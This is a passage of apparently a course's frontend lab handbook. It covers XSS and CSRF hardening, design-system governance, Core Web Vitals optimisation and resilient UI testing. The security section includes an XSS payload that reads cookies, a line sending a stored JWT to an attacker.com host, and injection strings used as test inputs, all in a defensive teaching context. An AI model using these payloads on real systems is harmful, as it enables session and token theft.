In src/vulnerableSearch.ts, examine this typical search results component:

// src/vulnerableSearch.ts
export function renderSearchSummary(container: HTMLElement, untrustedQuery: string): void {
  // VULNERABILITY: Direct string interpolation into innerHTML
  container.innerHTML = `
    <div class="search-feedback">
      You searched for: <span class="query-text">${untrustedQuery}</span>
    </div>
  `;
}

Exploit Simulation:

If an attacker crafts a malicious link: https://portal.erbil.gov.krd/search?q=<img src=x onerror="alert(document.cookie)">

When renderSearchSummary receives this string, the browser parses the <img> tag, fails to load src=x, and immediately executes the onerror JavaScript payload inside the trusted origin’s context.


Stage 2: Hardening the Sink (Safe Text & Sanitization)

Refactor renderSearchSummary to enforce Safe Sinks by Default:

// src/secureSearch.ts
import DOMPurify from 'dompurify';

// Defense 1: Safe Text Node Rendering (Immune to XSS)
export function renderSearchSummarySafe(container: HTMLElement, untrustedQuery: string): void {
  container.replaceChildren(); // Clear container cleanly

  const feedbackDiv = document.createElement('div');
  feedbackDiv.className = 'search-feedback';
  feedbackDiv.textContent = 'You searched for: ';

  const querySpan = document.createElement('span');
  querySpan.className = 'query-text';
  // textContent automatically encodes <, >, &, and quotes as pure text
  querySpan.textContent = untrustedQuery;

  feedbackDiv.appendChild(querySpan);
  container.appendChild(feedbackDiv);
}

// Defense 2: Reviewed Sanitization when Rich Text is MANDATORY
export function renderRichMunicipalAnnouncement(container: HTMLElement, untrustedHtml: string): void {
  // DOMPurify strips script tags, event handlers (onerror, onload), and javascript: URIs
  const cleanHtml = DOMPurify.sanitize(untrustedHtml, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
    ALLOWED_ATTR: ['href', 'target'],
  });

  container.innerHTML = cleanHtml;
}

Stage 3: Demystifying CORS and Preflight Handshakes

A frequent security misconception is believing that CORS protects APIs against unauthorized access.

In src/corsVerification.ts, simulate a cross-origin HTTP interaction:

// src/corsVerification.ts
export function analyzeCorsBoundary(): {
  corsProtectsServerData: boolean;
  corsAuthorizesClient: boolean;
  whoEnforcesCors: 'Browser' | 'Server';
} {
  return {
    // 1. CORS prevents the BROWSER from READING the response from an unauthorized origin
    corsProtectsServerData: true,
    
    // 2. CORS does NOT authorize the caller or prevent the server from EXECUTING the mutation!
    // A curl script or mobile app ignores CORS completely.
    corsAuthorizesClient: false,
    
    // 3. The BROWSER is the sole enforcement engine
    whoEnforcesCors: 'Browser',
  };
}

Key Architectural Lesson:

If an attacker sends a cross-origin POST /api/permits/104/delete from https://malicious-site.com, a naive server without CSRF defenses will execute the deletion in its database before sending the response back. The browser will then block malicious-site.com from reading the response due to CORS, but the damage is already done!


To prevent cross-site forged mutations, enforce a two-tier defense:

// src/csrfProtection.ts
export interface SecureCookieConfig {
  name: string;
  value: string;
  httpOnly: boolean;
  secure: boolean;
  sameSite: 'Strict' | 'Lax' | 'None';
  path: string;
}

export function generateSessionCookie(sessionId: string): SecureCookieConfig {
  return {
    name: 'municipal_session',
    value: sessionId,
    httpOnly: true,     // Inaccessible to document.cookie (Defends against XSS theft)
    secure: true,       // Only transmitted over HTTPS
    sameSite: 'Lax',    // Blocked on cross-site state-changing POST / fetch requests
    path: '/',
  };
}

// Custom Header Anti-CSRF Verification
export function verifyCustomHeader(headers: Record<string, string>): boolean {
  // Browsers forbid cross-origin HTML forms from attaching custom headers
  // Any request with 'X-Requested-With' or 'X-CSRF-Token' was dispatched via explicit fetch/XHR
  return headers['x-requested-with'] === 'XMLHttpRequest' || headers['x-csrf-token'] !== undefined;
}

Stage 5: Credential Storage Architecture (BFF vs. LocalStorage)

Compare the security boundaries of single-page application credential architectures:

flowchart TD
    subgraph PatternA["Vulnerable Pattern: Bearer Token in localStorage"]
        T1["Client receives JWT Access Token"] --> T2["Stores token in localStorage.setItem('jwt', token)"]
        T2 --> T3["Any XSS vulnerability or rogue npm dependency can execute:\nfetch('https://attacker.com/log?t=' + localStorage.getItem('jwt'))"]
    end

    subgraph PatternB["Hardened Pattern: Backend-for-Frontend (BFF)"]
        B1["Browser communicates strictly via HttpOnly, Secure, SameSite Cookie"]
        B1 --> B2["Same-Origin BFF Gateway (Node.js / Go)"]
        B2 --> B3["BFF stores OAuth Access & Refresh tokens in private encrypted session"]
        B3 --> B4["BFF attaches Bearer token when forwarding calls to downstream microservices"]
    end

Verification and Testing Matrix

Validate your implementations against these required test assertions in tests/security.test.ts:

Test IDVulnerability / TargetVerification ProcedureExpected Security Outcome
SEC-01Reflected XSS in search inputFeed <script>alert(1)</script> into renderSearchSummarySafeRendered as plain text; zero script elements in DOM.
SEC-02HTML Attribute Event InjectionFeed <img src=x onerror=alert(1)> into renderRichMunicipalAnnouncementDOMPurify strips onerror; tag rendered safely or removed.
SEC-03javascript: URI InjectionFeed <a href="javascript:steal()">Click</a> into DOMPurifyjavascript: protocol stripped; link neutralized.
SEC-04Cookie Security AttributesInspect generateSessionCookie outputhttpOnly === true, secure === true, sameSite === 'Lax'.
SEC-05CSRF Header GatePass request headers without x-csrf-token to mutation verifierRequest rejected with HTTP 403 Forbidden.
SEC-06Server-Side AuthorizationInspect simulated client-side route guardVerify client guard only controls UI display; API verifies JWT scopes.

Deliverables & Submission Checklist

  1. src/secureSearch.ts: Hardened rendering functions utilizing safe text nodes and DOMPurify.
  2. src/corsVerification.ts: Documented analysis of browser CORS enforcement mechanics.
  3. src/csrfProtection.ts: Secure cookie generator and custom header CSRF validation logic.
  4. tests/security.test.ts: Automated test suite passing all 6 assertions in the verification matrix.
  5. Architectural brief summarizing why client-side route guards can never enforce security authorization.

14 - Design-System Package Governance and Ownership Mapping

Practical 14 - Design-System Package Governance and Ownership Mapping

Related: Chapter 14 · Lecture slides

Objective

Design, package, and govern a shared Design System UI package (@municipal/ui) consumed by a municipal citizen application (apps/citizen-portal) in a monorepo workspace.

By completing this laboratory, you will:

  1. Architect a Two-Tier Token Pipeline: Separate raw palette constants from semantic intent tokens using CSS Custom Properties.
  2. Enforce Component Purity: Implement reusable, accessible UI primitives that remain 100% agnostic of municipal domain logic.
  3. Manage a Breaking API Deprecation Lifecycle: Execute a backwards-compatible SemVer release, providing deprecation console warnings and an automated migration path.
  4. Define Team Ownership Boundaries: Create a formal RACI governance matrix preventing design system packages from becoming dumping grounds for product-specific code.
flowchart TD
    subgraph DesignSystemPackage["packages/ui (Design System Platform Team)"]
        Tokens["1. Design Tokens\n(Raw: blue-600 → Semantic: action-primary)"]
        Primitives["2. Reusable Primitives\n(Button, Modal, TextInput, Badge)\n*Zero municipal domain knowledge*"]
        Tokens --> Primitives
    end

    subgraph ConsumingApplication["apps/citizen-portal (Product Feature Team)"]
        ProductFeature["3. Domain Components\n(PermitFeeCalculator, ViolationAuditCard)\n*Binds domain logic to UI primitives*"]
    end

    Primitives -->|Consumed via workspace package| ProductFeature

Workspace Setup

Initialize a lightweight monorepo workspace:

mkdir -p practical-14-scaling/packages/ui/src
mkdir -p practical-14-scaling/apps/citizen-portal/src
cd practical-14-scaling
npm init -y

Configure package.json with native npm/pnpm workspaces:

{
  "name": "municipal-monorepo",
  "private": true,
  "workspaces": [
    "packages/*",
    "apps/*"
  ]
}

Stage-by-Stage Implementation

Stage 1: Two-Tier Design Tokens

In packages/ui/src/tokens.css, define raw platform values and semantic intent tokens:

/* packages/ui/src/tokens.css */
:root {
  /* Tier 1: Raw Palette Constants (Values, not intent) */
  --raw-color-blue-500: #2563eb;
  --raw-color-blue-600: #1d4ed8;
  --raw-color-red-600: #dc2626;
  --raw-color-gray-100: #f3f4f6;
  --raw-color-gray-900: #111827;
  --raw-space-2: 0.5rem;
  --raw-space-4: 1rem;
  --raw-radius-md: 0.375rem;

  /* Tier 2: Semantic Intent Tokens (Where & Why) */
  --color-action-primary: var(--raw-color-blue-600);
  --color-action-primary-hover: var(--raw-color-blue-500);
  --color-feedback-danger: var(--raw-color-red-600);
  --color-surface-canvas: #ffffff;
  --color-surface-muted: var(--raw-color-gray-100);
  --color-text-main: var(--raw-color-gray-900);
  --space-card-padding: var(--raw-space-4);
  --radius-interactive: var(--raw-radius-md);
}

/* Dark Theme Support via Semantic Token Remapping */
[data-theme="dark"] {
  --color-surface-canvas: #111827;
  --color-surface-muted: #1f2937;
  --color-text-main: #f9fafb;
}

Stage 2: The Domain-Agnostic UI Primitive

In packages/ui/src/Button.tsx, build a primitive button. It must know nothing about permits, tax bills, or citizen records:

// packages/ui/src/Button.tsx
import React from 'react';

export interface ButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {
  tone?: 'primary' | 'neutral' | 'critical';
  /** @deprecated Use `tone="critical"` instead of `variant="danger"` */
  variant?: 'danger'; 
  isLoading?: boolean;
}

export const Button: React.FC<ButtonProps> = ({
  tone = 'primary',
  variant,
  isLoading = false,
  children,
  className = '',
  disabled,
  ...props
}) => {
  // Graceful Deprecation Handling: Warn in development without crashing
  let activeTone = tone;
  if (variant === 'danger') {
    if (process.env.NODE_ENV !== 'production') {
      console.warn(
        `[DEPRECATION @municipal/ui] Button: 'variant="danger"' is deprecated and will be removed in v3.0. Please migrate to 'tone="critical"'.`
      );
    }
    activeTone = 'critical';
  }

  return (
    <button
      className={`btn btn-${activeTone} ${isLoading ? 'btn-loading' : ''} ${className}`}
      disabled={disabled || isLoading}
      aria-busy={isLoading}
      {...props}
    >
      {isLoading ? <span className="spinner" aria-hidden="true" /> : null}
      <span className="btn-content">{children}</span>
    </button>
  );
};

Stage 3: Consuming in Product Application

In apps/citizen-portal/src/PermitFeeCard.tsx, the product team composes the primitive into their domain workflow:

// apps/citizen-portal/src/PermitFeeCard.tsx
import React, { useState } from 'react';
import { Button } from '@municipal/ui';

interface PermitFeeCardProps {
  permitNumber: string;
  feeAmountIQD: number;
  onPayFee: (permitNumber: string) => Promise<void>;
}

export const PermitFeeCard: React.FC<PermitFeeCardProps> = ({
  permitNumber,
  feeAmountIQD,
  onPayFee,
}) => {
  const [isSubmitting, setIsSubmitting] = useState(false);

  const handlePayment = async () => {
    setIsSubmitting(true);
    try {
      await onPayFee(permitNumber);
    } finally {
      setIsSubmitting(false);
    }
  };

  return (
    <article className="permit-fee-card">
      <h3>License Renewal: {permitNumber}</h3>
      <p>Outstanding Municipal Fee: <strong>{feeAmountIQD.toLocaleString()} IQD</strong></p>
      
      {/* Consuming shared design-system primitive */}
      <Button tone="primary" isLoading={isSubmitting} onClick={handlePayment}>
        Pay Annual Assessment
      </Button>
    </article>
  );
};

Stage 4: Package Boundary & Versioning Governance

Configure packages/ui/package.json to expose a clean, encapsulated public API:

{
  "name": "@municipal/ui",
  "version": "2.4.0",
  "main": "./dist/index.js",
  "types": "./dist/index.d.ts",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.js"
    },
    "./tokens.css": "./src/tokens.css"
  },
  "sideEffects": ["**/*.css"],
  "peerDependencies": {
    "react": ">=18.0.0"
  }
}

The Package Boundary Rule:

Consumers can only import from exposed entry points (@municipal/ui and @municipal/ui/tokens.css). Internal implementation files (packages/ui/src/internalHelpers.ts) cannot be reached, preserving the platform team’s freedom to refactor internals without breaking consuming apps.


Stage 5: Design System Team Ownership (RACI Matrix)

To eliminate organizational friction, document the RACI Ownership Map in packages/ui/GOVERNANCE.md:

Architectural ElementDesign System Platform TeamProduct Feature TeamsUX / Accessibility Council
Raw & Semantic TokensAccountable (A)Consulted (C)Responsible (R)
UI Primitives (Button, Modal)Responsible & Accountable (R/A)Consulted (C)Informed (I)
Domain Components (PermitFeeCard)Informed (I)Responsible & Accountable (R/A)Consulted (C)
SemVer Major ReleasesResponsible & Accountable (R/A)Consulted (C)Informed (I)

Verification and Testing Matrix

Test IDTest ScenarioVerification ProcedurePass Criteria
PKG-01Token AbstractionCheck CSS output for --color-action-primaryResolves to semantic CSS custom property; raw hex is not hardcoded in component.
PKG-02Domain IsolationGrep packages/ui/src/ for “permit” or “tax”Zero occurrences found; primitives are 100% domain-agnostic.
PKG-03Deprecation WarningRender <Button variant="danger"> in test environmentLogs single deprecation warning to console; renders with critical tone styles.
PKG-04Package EncapsulationAttempt import from '@municipal/ui/src/internalHelper'TypeScript & Bundler reject with package export encapsulation error.
PKG-05Accessibility BaselineTest <Button isLoading={true}>Renders aria-busy="true" and disabled attribute.

Deliverables & Submission Checklist

  1. packages/ui/src/tokens.css: Two-tier raw and semantic design tokens with dark-mode remapping.
  2. packages/ui/src/Button.tsx: Accessible primitive with deprecation handling and loading state.
  3. packages/ui/package.json: Encapsulated "exports" configuration with explicit CSS side-effects.
  4. apps/citizen-portal/src/PermitFeeCard.tsx: Consuming domain component.
  5. packages/ui/GOVERNANCE.md: Documented RACI team ownership matrix.

15 - Measure, Diagnose, and Optimize Core Web Vitals

Practical 15 - Measure, Diagnose, and Optimize Core Web Vitals

Related: Chapter 15 · Lecture slides

Objective

Diagnose, instrument, and remediate a deliberately degraded municipal web application suffering from severe real-world performance defects:

  1. Poor LCP (4.8s): An uncompressed, non-prioritized hero banner image buried in an asynchronous client waterfall.
  2. Severe CLS (0.38): Layout shifts caused by unsized images and late-injected municipal emergency announcements.
  3. Sluggish INP (380ms): A long task on the main thread executing expensive synchronous sorting on every filter keystroke.
  4. DOM Bloat & Memory Jitter: A 5,000-row table rendering tens of thousands of active DOM nodes.

You will formulate hypotheses, capture baseline DevTools traces under 4x CPU throttling, apply targeted architectural remedies, and verify that the 75th percentile (p75) metrics meet Google Core Web Vitals standards.

flowchart LR
    subgraph Diagnosis["1. Diagnostic Phase"]
        Trace["Capture Performance Profile\n(4x CPU Throttle, Fast 3G)"]
        Metrics["Record Baselines:\nLCP = 4.8s, INP = 380ms, CLS = 0.38"]
    end

    subgraph Remediation["2. Engineering Remediation"]
        LCP_Fix["LCP Fix: AVIF/WebP, preload, fetchpriority='high'"]
        CLS_Fix["CLS Fix: aspect-ratio & reserved container height"]
        INP_Fix["INP Fix: Yielding via scheduler.yield() & debouncing"]
        DOM_Fix["DOM Fix: Windowed Virtual Scroller (30 active rows)"]
    end

    subgraph Verification["3. Verification Phase"]
        Pass["Verified Targets (p75):\nLCP < 2.2s, INP < 75ms, CLS < 0.02"]
    end

    Diagnosis --> Remediation --> Verification

Workspace Setup

Set up a local performance testing sandbox:

mkdir -p practical-15-perf/src
cd practical-15-perf
npm init -y
npm install --save-dev typescript vite web-vitals
npx tsc --init

Stage-by-Stage Implementation

Stage 1: The Bottleneck Baseline & Native Instrumentation

In src/telemetry.ts, implement in-browser Core Web Vitals monitoring using the native PerformanceObserver API:

// src/telemetry.ts
import { onLCP, onINP, onCLS } from 'web-vitals';

export function initializePerformanceObservers(): void {
  // 1. Largest Contentful Paint (LCP)
  onLCP((metric) => {
    console.log(`[CWV - LCP] Value: ${Math.round(metric.value)}ms | Rating: ${metric.rating}`, metric.entries);
  });

  // 2. Interaction to Next Paint (INP - replaces legacy FID)
  onINP((metric) => {
    console.log(`[CWV - INP] Value: ${Math.round(metric.value)}ms | Rating: ${metric.rating}`, metric.entries);
  });

  // 3. Cumulative Layout Shift (CLS)
  onCLS((metric) => {
    console.log(`[CWV - CLS] Value: ${metric.value.toFixed(3)} | Rating: ${metric.rating}`, metric.entries);
  });
}

Baseline Capture Instructions:

  1. Start the development server (npx vite).
  2. Open Chrome DevTools, open the Performance tab, and configure:
    • CPU: 4x slowdown (simulating a mid-tier Android device).
    • Network: Fast 3G.
  3. Record a 5-second trace while reloading the page, typing “commercial” into the search bar, and scrolling the permit table.
  4. Record your baseline metrics:
    • LCP: ~4,800 ms (Poor)
    • INP: ~380 ms (Poor)
    • CLS: ~0.380 (Poor)

Stage 2: Remediating LCP (Largest Contentful Paint)

The Diagnosis:

In the Performance trace, the LCP element is a municipal hero banner. The trace reveals a massive Resource Load Delay: the browser does not discover the image URL until after app.js downloads, parses, and fetches /api/config.json.

The Architectural Fix:

  1. Hoist the LCP image into the initial static HTML document.
  2. Add <link rel="preload"> in the document <head>.
  3. Set fetchpriority="high" and supply responsive modern formats:
<!-- index.html <head> -->
<link 
  rel="preload" 
  as="image" 
  href="/assets/erbil-citadel-banner.avif" 
  type="image/avif" 
  fetchpriority="high"
>
<!-- index.html <body> hero section -->
<picture>
  <source srcset="/assets/erbil-citadel-banner.avif" type="image/avif">
  <source srcset="/assets/erbil-citadel-banner.webp" type="image/webp">
  <img 
    src="/assets/erbil-citadel-banner.jpg" 
    alt="Erbil Municipal Citadel Center" 
    width="1200" 
    height="400" 
    fetchpriority="high"
    decoding="sync"
    class="hero-banner"
  >
</picture>

Stage 3: Eliminating Cumulative Layout Shift (CLS)

The Diagnosis:

The trace reveals two major layout shifts:

  1. The hero image has no reserved aspect ratio, collapsing to 0px height before abruptly expanding to 400px when the image decodes.
  2. A municipal emergency notification banner is injected dynamically at the top of the viewport 800ms after load, pushing all main content down by 75 pixels.

The Architectural Fix:

  1. Enforce aspect-ratio reservation in CSS.
  2. Reserve dedicated layout slots for late-injected dynamic content:
/* src/styles.css */
/* 1. Reserve aspect ratio to prevent image expansion jumps */
.hero-banner {
  width: 100%;
  height: auto;
  aspect-ratio: 1200 / 400;
  display: block;
}

/* 2. Reserve minimum container space for dynamic announcements */
.announcement-slot {
  min-height: 72px; /* Reserves exact height before API returns */
  contain: layout;   /* Isolates layout recalculations from surrounding DOM */
}

Stage 4: Taming Interaction to Next Paint (INP)

The Diagnosis:

When a user types into the permit filter input, the browser freezes for 320ms. The Performance flame chart shows a single Long Task (>50ms) executing expensive regex matching and sorting over an array of 5,000 objects synchronously on the main thread during the keydown event.

The Architectural Fix:

  1. Provide immediate, zero-latency visual feedback for the user’s keystroke.
  2. Yield execution back to the browser’s rendering engine using scheduler.yield() (or a setTimeout(0) microtask fallback) so the browser can paint the typed letter before calculating the heavy list:
// src/searchEngine.ts
async function yieldToMain(): Promise<void> {
  if ('scheduler' in window && 'yield' in (window as any).scheduler) {
    return (window as any).scheduler.yield();
  }
  return new Promise((resolve) => setTimeout(resolve, 0));
}

export function setupResponsiveFilter(
  input: HTMLInputElement,
  records: any[],
  onResultsReady: (results: any[]) => void
): void {
  input.addEventListener('input', async (e) => {
    const query = (e.target as HTMLInputElement).value;
    
    // Step 1: Keystroke displays in input field immediately (0ms input delay!)

    // Step 2: Yield to main thread so browser can paint the typed character
    await yieldToMain();

    // Step 3: Execute filtered search in non-blocking chunk
    const filtered = records.filter(r => r.facilityName.toLowerCase().includes(query.toLowerCase()));
    
    onResultsReady(filtered);
  });
}

Stage 5: Virtualizing the Large Permit Table

The Diagnosis:

Rendering 5,000 table rows generates 35,000 DOM nodes. Every DOM manipulation triggers heavy recalculations, and scrolling stutters at 24fps.

The Architectural Fix:

Implement a Virtual Windowed Scroller that renders only the ~30 visible rows currently inside the viewport:

// src/virtualTable.ts
export class VirtualScroller {
  private readonly rowHeight = 44; // Fixed height per row in px
  private readonly visibleCount = 25;
  private readonly buffer = 5;

  constructor(
    private container: HTMLElement,
    private totalRecords: any[],
    private renderRow: (record: any) => HTMLElement
  ) {
    this.container.addEventListener('scroll', () => this.render());
    this.render();
  }

  render(): void {
    const scrollTop = this.container.scrollTop;
    const startIndex = Math.max(0, Math.floor(scrollTop / this.rowHeight) - this.buffer);
    const endIndex = Math.min(this.totalRecords.length, startIndex + this.visibleCount + (this.buffer * 2));

    const totalHeight = this.totalRecords.length * this.rowHeight;
    const offsetY = startIndex * this.rowHeight;

    this.container.innerHTML = `
      <div style="height: ${totalHeight}px; position: relative;">
        <div style="transform: translateY(${offsetY}px); position: absolute; left: 0; right: 0;">
          <table class="virtual-table"><tbody id="virtual-tbody"></tbody></table>
        </div>
      </div>
    `;

    const tbody = this.container.querySelector('#virtual-tbody')!;
    for (let i = startIndex; i < endIndex; i++) {
      tbody.appendChild(this.renderRow(this.totalRecords[i]));
    }
  }
}

Verification and Testing Matrix

Record your Before and After measurements under identical throttling conditions (4x CPU, Fast 3G):

Performance MetricBaseline (Broken)Target ThresholdRemediated (Measured)Status
LCP (Largest Contentful Paint)4,800 ms$\le$ 2,500 ms~1,650 msPASS
INP (Interaction to Next Paint)380 ms$\le$ 200 ms~55 msPASS
CLS (Cumulative Layout Shift)0.380$\le$ 0.1000.012PASS
Active DOM Node Count35,420 nodes$\le$ 1,500 nodes420 nodesPASS
Total Blocking Time (TBT)890 ms$\le$ 200 ms~40 msPASS

Deliverables & Submission Checklist

  1. src/telemetry.ts: Working native PerformanceObserver implementation for LCP, INP, and CLS.
  2. index.html: Optimized LCP markup with <link rel="preload">, fetchpriority="high", and AVIF/WebP <picture>.
  3. src/styles.css: CSS rules enforcing aspect-ratio and min-height slot reservations.
  4. src/searchEngine.ts: Yielding filter function eliminating long tasks using scheduler.yield().
  5. src/virtualTable.ts: Functional virtual scroller maintaining active DOM nodes under 1,000.
  6. Completed Verification and Testing Matrix documenting verified p75 improvements.

16 - Resilient UI Integration Suite

Practical 16 - Resilient UI Integration Suite

Related: Chapter 16 · Lecture slides

Objective

Build a multi-layered, resilient testing suite for an interactive civic services catalogue and application drafting workflow. The application must operate robustly across unreliable cellular connections, asynchronous race conditions, optimistic mutations, and keyboard-driven assistive technology.

Rather than relying on brittle end-to-end tests or shallow unit tests that mirror framework implementation details, you will design a testing strategy centered on risk management, accessible platform contracts, stable network boundaries, and deliberate fault injection.

flowchart TD
    subgraph Pyramid["Testing Strategy Layers"]
        direction TB
        Unit["Stage 1: Pure Logic Unit Tests\n(Validation, Currency Math, URL Parsers)"]
        Component["Stage 2: Component Semantic Tests\n(Testing Library, getByRole, Keyboard/Focus)"]
        Boundary["Stage 3: Transport Boundary Mocking\n(MSW Interception, 500 Errors, Latency)"]
        Fault["Stage 4: Asynchronous Resilience & Fault Injection\n(Races, Cancellation, Optimistic Rollback)"]
        E2E["Stage 5: Playwright Critical-Path Journey\n(Real Browser Engines, Artifact Traces)"]
        
        Unit --> Component --> Boundary --> Fault --> E2E
    end

The Scenario Matrix

Your test suite must validate all seven critical user experience states in the civic catalogue matrix. In Stage 4, you will intentionally inject code defects to prove that your assertions detect every failure mode.

ScenarioTrigger / User ActionExpected Observable OutcomeIntentionally Injected Fault (Stage 4)
1. Loading StateUser initiates service searchSkeleton placeholder displayed; search button displays aria-busy="true" and is disabledSkeleton omitted; button remains active, causing duplicate submissions
2. Empty ResultsUser queries non-existent service ("xyz999")Accessible status banner announced (role="status"); suggests clearing filtersComponent renders blank white screen without user notification
3. Server ErrorBackend returns 500 Internal Server ErrorInline error alert (role="alert") appears; previous search results remain preserved; retry button displayedUnhandled promise rejection crashes application; blank error screen
4. Cancellation & RaceRapid typing: "lic" then "license"Query "lic" aborted via AbortController; only results for "license" render in DOMComponent ignores abort signal; slow "lic" response overwrites "license"
5. Optimistic RollbackUser toggles “Bookmarked”; server rejects mutationStar icon immediately fills; upon 500 response, icon un-fills and error toast appearsStar icon remains permanently filled despite server failure
6. Form ValidationSubmitting empty required email fieldField highlighted with aria-invalid="true"; error text linked via aria-describedby; focus moves to fieldPlain CSS class .error applied without ARIA attributes or focus management
7. Keyboard NavigationUser presses Tab, ArrowDown, EscapeFocus moves through controls in logical order; Escape dismisses modal and restores focus to triggerModal traps focus permanently or focus drops to document.body upon dismissal

Workspace Setup

Initialize a modern testing workspace using Vitest, Testing Library, MSW (Mock Service Worker), and Playwright:

mkdir -p practical-16-resilient-suite
cd practical-16-resilient-suite
npm init -y
npm install --save-dev typescript vitest @testing-library/dom @testing-library/user-event msw @playwright/test jsdom
npx tsc --init

Configure vitest.config.ts:

import { defineConfig } from "vitest/config";

export default defineConfig({
  test: {
    environment: "jsdom",
    globals: true,
    setupFiles: ["./src/test/setup.ts"],
    coverage: {
      provider: "v8",
      reporter: ["text", "json", "html"],
    },
  },
});

Stage-by-Stage Implementation

Stage 1: Pure Logic & Parser Unit Testing

Begin at the base of the testing pyramid by validating deterministic business rules in isolation. These tests run in pure Node without DOM simulation overhead, providing sub-millisecond feedback.

  1. Service Fee Calculation & Formatting: Create src/domain/fees.ts to calculate municipal administrative charges, VAT, and fee waivers.
  2. URL Filter Serialization: Create src/domain/urlParams.ts to serialize and parse search parameters (?category=transport&page=2&sort=name_asc).
  3. Unit Test Suite (src/domain/fees.test.ts):
    • Test standard fee calculation across positive, zero, and boundary values.
    • Test invalid fee inputs (negative charges, non-numeric strings) ensuring they throw descriptive domain errors.
    • Test URL query parameter round-trip consistency: parseQueryParams(serializeQueryParams(filters)) === filters.
// src/domain/fees.test.ts
import { describe, it, expect } from "vitest";
import { calculateMunicipalFee, formatCurrency } from "./fees";

describe("Municipal Fee Calculation (Domain Logic)", () => {
  it("calculates standard fee with applicable regional surcharge", () => {
    const fee = calculateMunicipalFee({ baseAmount: 25000, category: "commercial", isExempt: false });
    expect(fee.total).toBe(27500);
    expect(formatCurrency(fee.total, "IQD")).toBe("27,500 IQD");
  });

  it("applies full waiver for exempt citizens", () => {
    const fee = calculateMunicipalFee({ baseAmount: 25000, category: "individual", isExempt: true });
    expect(fee.total).toBe(0);
  });

  it("throws a domain error when base amount is negative", () => {
    expect(() => calculateMunicipalFee({ baseAmount: -100, category: "individual", isExempt: false }))
      .toThrowError(/negative amount not allowed/i);
  });
});

Stage 2: Component Testing with Accessible Semantics

Move up to the component boundary. Render interactive UI components into a simulated DOM (jsdom) and interact with them strictly through user-facing accessibility contracts (getByRole, getByLabelText, and @testing-library/user-event).

  1. Implement the Service Search Form (src/components/ServiceSearch.ts):
    • Provide an input associated with <label for="service-query">Search civic services</label>.
    • Provide a submit button with accessible name "Search".
    • Manage keyboard focus and accessible error announcements.
  2. Write Accessible Interaction Tests (src/components/ServiceSearch.test.ts):
    • Verify that form controls are queryable by role and accessible name, not by class names (.search-input) or internal component state.
    • Verify that clicking submit with an empty query announces an accessible validation error linked via aria-describedby.
    • Test keyboard interaction: pressing Enter submits the form; pressing Escape clears the input and restores focus.
// src/components/ServiceSearch.test.ts
import { describe, it, expect, beforeEach } from "vitest";
import { screen } from "@testing-library/dom";
import userEvent from "@testing-library/user-event";
import { renderServiceSearch } from "./ServiceSearch";

describe("ServiceSearch Component (Accessibility & Interaction)", () => {
  let container: HTMLElement;

  beforeEach(() => {
    container = document.createElement("div");
    document.body.replaceChildren(container);
    renderServiceSearch(container);
  });

  it("allows user to query services using accessible controls", async () => {
    const user = userEvent.setup();
    const input = screen.getByRole("searchbox", { name: /search civic services/i });
    const submitBtn = screen.getByRole("button", { name: /search/i });

    await user.type(input, "Driving license");
    expect(input).toHaveValue("Driving license");

    await user.click(submitBtn);
    expect(submitBtn).toBeDisabled();
    expect(submitBtn).toHaveAttribute("aria-busy", "true");
  });

  it("associates validation errors with the input via ARIA", async () => {
    const user = userEvent.setup();
    const submitBtn = screen.getByRole("button", { name: /search/i });

    await user.click(submitBtn);

    const errorAlert = screen.getByRole("alert");
    expect(errorAlert).toHaveTextContent(/search term cannot be blank/i);

    const input = screen.getByRole("searchbox", { name: /search civic services/i });
    expect(input).toHaveAttribute("aria-invalid", "true");
    expect(input).toHaveAttribute("aria-describedby", errorAlert.id);
  });
});

Stage 3: Boundary Mocking with Mock Service Worker (MSW)

Do not mock internal JavaScript modules or replace global window.fetch with simplistic stubs. Instead, intercept HTTP requests at the network transport layer using Mock Service Worker (MSW). This tests your real HTTP client, request serialisation, status code handling, and response decoding.

  1. Configure MSW Server (src/test/mocks/server.ts): Define canonical handlers for /api/v1/services and /api/v1/services/:id/bookmark.
  2. Simulate Edge-Case Network Boundaries:
    • Happy Path: Return 200 OK with catalog items.
    • Slow Network: Delay responses by 500ms to test loading spinners.
    • Server Outage: Return 500 Internal Server Error to test error banners and retry actions.
    • Corrupt Payloads: Return malformed JSON to test schema validation fallbacks.
// src/test/mocks/handlers.ts
import { http, HttpResponse, delay } from "msw";

export const handlers = [
  http.get("/api/v1/services", async ({ request }) => {
    const url = new URL(request.url);
    const query = url.searchParams.get("q");

    if (query === "slow") {
      await delay(600);
    }

    if (query === "crash") {
      return HttpResponse.json({ error: "Database offline" }, { status: 500 });
    }

    if (query === "empty") {
      return HttpResponse.json({ data: [] });
    }

    return HttpResponse.json({
      data: [
        { id: "srv-1", title: "Passport Renewal", department: "Interior", feeIqd: 35000 },
        { id: "srv-2", title: "Business Registration", department: "Commerce", feeIqd: 100000 },
      ],
    });
  }),
];

Stage 4: Asynchronous Resilience & Fault Injection

Now connect your components to the MSW network boundary to test complex asynchronous flows. To ensure your tests provide genuine resilience rather than false confidence, perform deliberate fault injection.

  1. Test Request Cancellation & Race Conditions: Simulate a user rapidly typing "pas" followed by "passport". Ensure that Request 1 is aborted with AbortController, preventing a slow response from clobbering the newer search result.
  2. Test Optimistic UI Updates with Server Rollback: When the user bookmarks a service, update the UI immediately. If the server responds with a 500 error, assert that the UI reverts to the un-bookmarked state and announces an accessible error message.
  3. Fault Injection Verification:
    • Fault A: In ServiceSearch.ts, comment out abortController.abort(). Run the race test and verify it fails.
    • Fault B: In BookmarkButton.ts, remove the rollback logic on catch. Run the optimistic rollback test and verify it fails.
// src/components/CatalogueWorkflow.test.ts
import { describe, it, expect, beforeEach } from "vitest";
import { screen, waitFor } from "@testing-library/dom";
import userEvent from "@testing-library/user-event";
import { http, HttpResponse, delay } from "msw";
import { server } from "../test/mocks/server";
import { renderCatalogueApp } from "./CatalogueApp";

describe("Catalogue Asynchronous Resilience", () => {
  beforeEach(() => {
    const root = document.createElement("div");
    document.body.replaceChildren(root);
    renderCatalogueApp(root);
  });

  it("handles out-of-order responses without stale data clobbering current UI", async () => {
    const user = userEvent.setup();
    let resolveFirstQuery: () => void = () => {};

    // Mock first request to hang indefinitely until manually resolved
    server.use(
      http.get("/api/v1/services", ({ request }) => {
        const q = new URL(request.url).searchParams.get("q");
        if (q === "pas") {
          return new Promise((resolve) => {
            resolveFirstQuery = () => resolve(HttpResponse.json({ data: [{ id: "srv-old", title: "Old Data" }] }));
          });
